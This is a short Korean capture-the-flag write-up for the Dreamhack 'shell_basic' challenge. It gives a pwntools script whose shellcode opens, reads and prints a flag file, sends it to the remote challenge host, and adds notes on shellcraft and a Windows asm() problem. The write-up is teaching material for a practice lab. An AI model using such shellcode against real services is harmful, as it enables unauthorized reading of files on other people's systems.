코드를 보면서 어떻게 flag를 얻어냈는지 알아보자.
from pwn import *
context.clear()
context.update(arch='amd64', os='linux')
# rdi: filename pointer
# rsi: O_RDONLY 0 O_WRONLY 1 O_RDWR 2
# rax: syscall 0:R 1:W 2:O
shellcode = ''
shellcode += shellcraft.pushstr('/home/shell_basic/flag_name_is_loooooong')
# O_RDONLY 옵션으로 rsp 경로에 있는 파일을 열고 결과를 rax에 저장한다.
shellcode += shellcraft.open('rsp', 0, None)
# fd=rax, rsp=경로, 100바이트만큼 읽는다.
shellcode += shellcraft.read('rax', 'rsp', 100)
# fd=1 (stdout), rsp=경로, 100바이트만큼 쓴다.
shellcode += shellcraft.write(1, 'rsp', 100)
shellcode += shellcraft.exit()
shellcode = asm(shellcode)
# print(shellcode)
p = remote("host3.dreamhack.games", 16579)
recv = ''
p.sendlineafter("shellcode:", shellcode)
recv += str(p.recvall())
print(recv)
p.close()
shellcraft를 사용하면 어셈블리어를 얻을 수 있다.
open, read, write 함수에 들어가는 rax는 생략하고 fd, *buf, size만 넣어주면 된다. 디테일은 주석으로 적어놓았다.
asm()은 윈도우 환경에서는 사용이 안됐다.
코드를 리눅스로 긁어와 파이썬으로 실행했다.
objdump 하는 귀찮은 과정보단 파이썬에서 끝내고 싶었다.
flag는 나오는데 뒤에 쓰레기 값도 같이 나온다. 어떻게 나오게 된건지 다시 살펴봐야겠다.
참고
https://m.blog.naver.com/songblue61/221308705090
https://velog.io/@hey-chocopie/syscall%EC%9D%B4%EB%9E%80-syscall-%EC%82%AC%EC%9A%A9%EB%B2%95